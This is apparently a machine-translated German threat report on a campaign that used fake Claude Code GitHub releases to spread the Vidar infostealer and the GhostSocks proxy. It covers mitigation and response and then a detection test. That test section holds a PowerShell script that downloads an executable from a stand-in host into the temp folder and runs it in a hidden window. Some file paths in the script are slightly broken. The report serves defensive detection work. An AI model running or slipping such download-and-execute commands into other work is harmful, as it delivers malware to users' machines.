Claude-Code-Lures wandeln GitHub-Releases in einen Malware-Übertragungskanal um

Zusammenfassung

Bedrohungsakteure nutzten schnell ein falsch konfiguriertes npm-Paket aus, das unbeabsichtigt den Claude Code-Quellcode von Anthropic offenlegte. Sie richteten gefälschte GitHub-Repositories ein, die trojanisierte 7z-„Veröffentlichungen“ hosteten, die einen in Rust erstellten Loader ablegen. Nach der Ausführung installiert der Dropper den Vidar-Infostealer zusammen mit dem GhostSocks SOCKS5-Proxy, um Diebstahl und verdeckten Zugriff zu ermöglichen.

Untersuchung

Die Untersuchung deckte eine seit Februar 2026 aktive Rotationslocke-Operation auf, die sich auf kurzlebige GitHub-Konten zur Veröffentlichung bösartiger Release-Artefakte stützte. Über das Lockenset erhalten die Opfer die gleiche TradeAI.exe-Nutzlast, die eingebettete C2-URLs entschlüsselt, Anti-Analyse-Überprüfungen durchführt und sowohl Vidar als auch GhostSocks bereitstellt. Die C2-Erkennung erfolgt über Dead-Drop-Resolver, die auf Steam und Telegram gehostet werden, und hilft der Kampagne, die Infrastruktur schnell zu wechseln.

Minderung

Organisationen sollten die Installation von KI-Tools auf geprüfte Quellen beschränken, bekannte bösartige GitHub-Veröffentlichungslinks und verwandte C2-Domänen blockieren und genau auf Anzeichen von Anmeldeinformationsdiebstählen achten. Fügen Sie Endpunkt-Erkennung für in Rust kompilierte Dropper und gemeinsame Vidar/GhostSocks-Ausführungsmuster hinzu. Stärken Sie die Abdeckung für Sandbox-Ausweichsignale und beschränken Sie verdächtige Skriptausführungen (einschließlich anomaler PowerShell-Aktivität), die für Staging oder Folgeaktionen verwendet werden könnten.

Reaktion

Wenn entdeckt, isolieren Sie den Endpunkt, bewahren Sie die bösartige ausführbare Datei und ihr zugehöriges 7z-Archiv auf und suchen Sie nach Vidar- und GhostSocks-Artefakten im gesamten Host und Netzwerk. Blockieren Sie die identifizierten Pastebin- und Snippet.host-URLs und widerrufen Sie sofort alle exponierten Anmeldeinformationen. Führen Sie eine vollständige Bewertung des Anmeldeinformationskompromisses durch, setzen Sie dann privilegierte Konten zurück und entkräften Sie Token/Sitzungen, um eine erneute Verwendung zu verhindern.

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Basislinenvorprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennungslogik erwartete präzise Telemetrie zu generieren.

• Angriffserzählung & Befehle:
  Ein Angreifer erhält eine Phishing-E-Mail (T1566.002), die einen bösartigen Link enthält, der zu einem kompromittierten GitHub-Repository führt, das TradeAI.exehostet. Das Opfer klickt auf den Link, der PowerShell in einem versteckten Fenster startet. Das Skript lädt den Dropper in das temporäre Verzeichnis herunter, führt ihn aus, und der Dropper installiert anschließend den Vidar-Stealer und den GhostSocks-Proxy (T1027, T1090.003).

• Regressionstests-Skript:

   # -------------------------------------------------
    # Simulation der Ausführung des TradeAI.exe-Droppers
    # -------------------------------------------------
    $url = "http://malicious.example.com/TradeAI.exe"
    $outPath = "$env:TEMPTradeAI.exe"
  
    # Lade den Dropper herunter (imitiere das Verhalten echter Angreifer)
    Invoke-WebRequest -Uri $url -OutFile $outPath -UseBasicParsing
  
    # Führe den Dropper leise aus
    Start-Process -FilePath $outPath -WindowStyle Hidden
  
    # OPTIONAL: Warte ein paar Sekunden, um das Auftreten von Kindprozessen zu erlauben
    Start-Sleep -Seconds 5
    # -------------------------------------------------

• Bereinigungskommandos:

   # Entfernen Sie den heruntergeladenen Dropper und alle temporären Artefakte
    $outPath = "$env:TEMPTradeAI.exe"
    if (Test-Path $outPath) { Remove-Item $outPath -Force }
  
    # (Wenn der Dropper zusätzliche Dateien erstellt hat, suchen und löschen Sie diese nach Bedarf)
    # Beispiel: Löschen Sie das bekannte Nutzlastverzeichnis
    $payloadDir = "$env:APPDATAVidar"
    if (Test-Path $payloadDir) { Remove-Item $payloadDir -Recurse -Force }

Validierung & Erwartetes Ergebnis

1. Erwarteter SIEM-Alarm: Nach Ausführen des Regressionstests-Skripts sollte das SIEM einen Alarm generieren, bei dem Abbild endet mit TradeAI.exe (or ClaudeCode_x64.exe). Der Alarmtitel wird dem der Regel entsprechen Titel Feld.
2. Ausweichtest: Benennen Sie die heruntergeladene Binärdatei um in TradeAI_renamed.exe und führen Sie das Skript erneut aus. Es sollte kein Alarm ausgelöst werden, was die Abhängigkeit der Regel von statischen Dateinamen bestätigt.

Härtungsempfehlungen

1. Fügen Sie Hash-Indikatoren hinzu: Fügen Sie SHA-256-Hashes bekannter bösartiger Dropper in die Regel (oder eine separate hashbasierte Regel) ein.
2. Umfang erweitern: Erweitern Sie die Erkennung, um die Ausführung unbekannter Binärdateien zu überwachen, die von untypischen Speicherorten gestartet werden (z.B. %TEMP%, %APPDATA%).
3. Verhaltenskorrelation: Korrelation der Prozesserstellung mit nachfolgenden Netzwerkverbindungen zu bekannten GhostSocks-C2-Domänen (T1090.003) und Dateischreibvorgängen bekannter Vidar-Komponenten.
4. Endpunktdurchsetzung: AppLocker oder Windows Defender Application Control bereitstellen, um die Ausführung unsignierter Binärdateien aus benutzerbeschreibbaren Verzeichnissen zu blockieren.

Ende des Berichts